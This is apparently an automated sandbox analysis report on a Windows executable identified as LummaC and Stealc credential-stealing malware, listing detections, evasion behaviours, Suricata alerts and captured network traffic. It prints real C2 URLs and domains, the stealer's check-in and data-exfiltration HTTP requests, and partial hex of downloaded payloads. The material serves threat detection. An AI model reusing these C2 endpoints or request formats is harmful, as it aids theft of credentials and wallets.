Edit tour

Windows Analysis Report
w23Vg439U1.exe

Overview

General Information

Sample name:	w23Vg439U1.exe renamed because original name is a hash value
Original sample name:	221c8ac3ed6f410d8b286790034f8e4e.exe
Analysis ID:	1579749
MD5:	221c8ac3ed6f410d8b286790034f8e4e
SHA1:	ccc959a9b59cd3f3d3505dc2f3d8c0c3749f3bd5
SHA256:	35324932e2366dc2e417a8aea865d24f7362a88352b7d52438e80e30acbbbe85
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Performs DNS queries to domains with low reputation

Query firmware table information (likely to detect VMs)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

w23Vg439U1.exe (PID: 3600 cmdline: "C:\Users\user\Desktop\w23Vg439U1.exe" MD5: 221C8AC3ED6F410D8B286790034F8E4E)

3OJIEMQOE0U9W5K609DU0.exe (PID: 5556 cmdline: "C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe" MD5: 579641D4119C3977AA3E5FDCBB740D8B)

O4784SI9RJ8L8V71YQA7V.exe (PID: 1220 cmdline: "C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe" MD5: 59729E914FA8E15D347129643C03AC1F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: LummaC

{"C2 url": ["cuddlyready.xyz", "pollution-raker.cyou", "ripe-blade.cyou", "greywe-snotty.cyou", "sendypaster.xyz", "smash-boiling.cyou", "hosue-billowy.cyou", "steppriflej.xyz", "supporse-comment.cyou"], "Build id": "PsFKDg--pablo"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1553041816.00000000016F1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1554213571.00000000016F4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.1842480874.00000000005A1000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000004.00000003.1802184006.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1576636078.00000000016F3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1554835561.00000000016F1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.1844107193.0000000000FCE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1579478212.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1579817826.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: w23Vg439U1.exe PID: 3600	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: w23Vg439U1.exe PID: 3600	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: w23Vg439U1.exe PID: 3600	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: O4784SI9RJ8L8V71YQA7V.exe PID: 1220	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: O4784SI9RJ8L8V71YQA7V.exe PID: 1220	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 9 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.3.w23Vg439U1.exe.16fac08.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.3.w23Vg439U1.exe.16fac08.4.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:31:21.510511+0100	2028371	3	Unknown Traffic	192.168.2.8	49704	172.67.150.173	443	TCP
2024-12-23T08:31:23.481655+0100	2028371	3	Unknown Traffic	192.168.2.8	49705	172.67.150.173	443	TCP
2024-12-23T08:31:25.851576+0100	2028371	3	Unknown Traffic	192.168.2.8	49706	172.67.150.173	443	TCP
2024-12-23T08:31:28.168505+0100	2028371	3	Unknown Traffic	192.168.2.8	49707	172.67.150.173	443	TCP
2024-12-23T08:31:30.442201+0100	2028371	3	Unknown Traffic	192.168.2.8	49708	172.67.150.173	443	TCP
2024-12-23T08:31:32.951915+0100	2028371	3	Unknown Traffic	192.168.2.8	49709	172.67.150.173	443	TCP
2024-12-23T08:31:35.471121+0100	2028371	3	Unknown Traffic	192.168.2.8	49710	172.67.150.173	443	TCP
2024-12-23T08:31:40.118738+0100	2028371	3	Unknown Traffic	192.168.2.8	49713	172.67.150.173	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:31:22.256404+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49704	172.67.150.173	443	TCP
2024-12-23T08:31:24.263735+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49705	172.67.150.173	443	TCP
2024-12-23T08:31:40.887155+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49713	172.67.150.173	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:31:22.256404+0100	2049836	1	A Network Trojan was detected	192.168.2.8	49704	172.67.150.173	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:31:24.263735+0100	2049812	1	A Network Trojan was detected	192.168.2.8	49705	172.67.150.173	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:31:42.354091+0100	2019714	2	Potentially Bad Traffic	192.168.2.8	49714	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:31:26.771338+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.8	49706	172.67.150.173	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:31:56.773461+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	49715	185.215.113.206	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: w23Vg439U1.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe

Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000004.00000002.1844107193.0000000000FCE000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}
Source: w23Vg439U1.exe.3600.0.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["cuddlyready.xyz", "pollution-raker.cyou", "ripe-blade.cyou", "greywe-snotty.cyou", "sendypaster.xyz", "smash-boiling.cyou", "hosue-billowy.cyou", "steppriflej.xyz", "supporse-comment.cyou"], "Build id": "PsFKDg--pablo"}

Multi AV Scanner detection for submitted file

Source: w23Vg439U1.exe	Virustotal: Detection: 54%			Perma Link
Source: w23Vg439U1.exe	ReversingLabs: Detection: 57%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: w23Vg439U1.exe

Joe Sandbox ML: detected

Source: w23Vg439U1.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.150.173:443 -> 192.168.2.8:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.173:443 -> 192.168.2.8:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.173:443 -> 192.168.2.8:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.173:443 -> 192.168.2.8:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.173:443 -> 192.168.2.8:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.173:443 -> 192.168.2.8:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.173:443 -> 192.168.2.8:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.173:443 -> 192.168.2.8:49713 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 3OJIEMQOE0U9W5K609DU0.exe, 00000003.00000002.1874076704.00000000002A2000.00000040.00000001.01000000.00000006.sdmp

Source: C:\Users\user\Desktop\w23Vg439U1.exe

Directory queried: number of queries: 1001

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:49715 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.8:49706 -> 172.67.150.173:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.8:49704 -> 172.67.150.173:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49704 -> 172.67.150.173:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49713 -> 172.67.150.173:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.8:49705 -> 172.67.150.173:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49705 -> 172.67.150.173:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: cuddlyready.xyz
Source: Malware configuration extractor	URLs: pollution-raker.cyou
Source: Malware configuration extractor	URLs: ripe-blade.cyou
Source: Malware configuration extractor	URLs: greywe-snotty.cyou
Source: Malware configuration extractor	URLs: sendypaster.xyz
Source: Malware configuration extractor	URLs: smash-boiling.cyou
Source: Malware configuration extractor	URLs: hosue-billowy.cyou
Source: Malware configuration extractor	URLs: steppriflej.xyz
Source: Malware configuration extractor	URLs: supporse-comment.cyou

Performs DNS queries to domains with low reputation

Source:

DNS query: cuddlyready.xyz

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 23 Dec 2024 07:31:41 GMTContent-Type: application/octet-streamContent-Length: 2765312Last-Modified: Mon, 23 Dec 2024 07:19:04 GMTConnection: keep-aliveETag: "67690ee8-2a3200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2a 00 00 04 00 00 fa c9 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 40 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 06 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 62 72 64 6f 66 70 68 65 00 c0 29 00 00 a0 00 00 00 a2 29 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 7a 6f 61 6c 76 6f 76 00 20 00 00 00 60 2a 00 00 06 00 00 00 0a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 80 2a 00 00 22 00 00 00 10 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 23 Dec 2024 07:31:46 GMTContent-Type: application/octet-streamContent-Length: 2835456Last-Modified: Mon, 23 Dec 2024 07:21:00 GMTConnection: keep-aliveETag: "67690f5c-2b4400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 70 4e 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 a0 4e 00 00 04 00 00 84 4c 2b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 79 6e 71 72 69 63 72 6f 00 a0 29 00 00 c0 24 00 00 a0 29 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 6a 6c 76 79 6c 64 6c 00 10 00 00 00 60 4e 00 00 06 00 00 00 1c 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 70 4e 00 00 22 00 00 00 22 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCGCFCAFIIEBGCBFCAKKHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 47 43 46 43 41 46 49 49 45 42 47 43 42 46 43 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 30 38 44 36 43 32 39 34 42 37 32 32 35 38 33 35 38 30 30 35 38 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 43 46 43 41 46 49 49 45 42 47 43 42 46 43 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 43 46 43 41 46 49 49 45 42 47 43 42 46 43 41 4b 4b 2d 2d 0d 0a Data Ascii: ------FCGCFCAFIIEBGCBFCAKKContent-Disposition: form-data; name="hwid"508D6C294B722583580058------FCGCFCAFIIEBGCBFCAKKContent-Disposition: form-data; name="build"stok------FCGCFCAFIIEBGCBFCAKK--

Source: Joe Sandbox View	IP Address: 172.67.150.173 172.67.150.173
Source: Joe Sandbox View	IP Address: 185.215.113.206 185.215.113.206

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49704 -> 172.67.150.173:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49706 -> 172.67.150.173:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49705 -> 172.67.150.173:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49708 -> 172.67.150.173:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49707 -> 172.67.150.173:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49713 -> 172.67.150.173:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.8:49714 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49709 -> 172.67.150.173:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49710 -> 172.67.150.173:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: cuddlyready.xyz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: cuddlyready.xyz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=MV6Y8KB4User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12786Host: cuddlyready.xyz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=I8IZII5PARX0JKDWXUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15069Host: cuddlyready.xyz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=WRNBP3MRUAC47MQRC4XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20248Host: cuddlyready.xyz
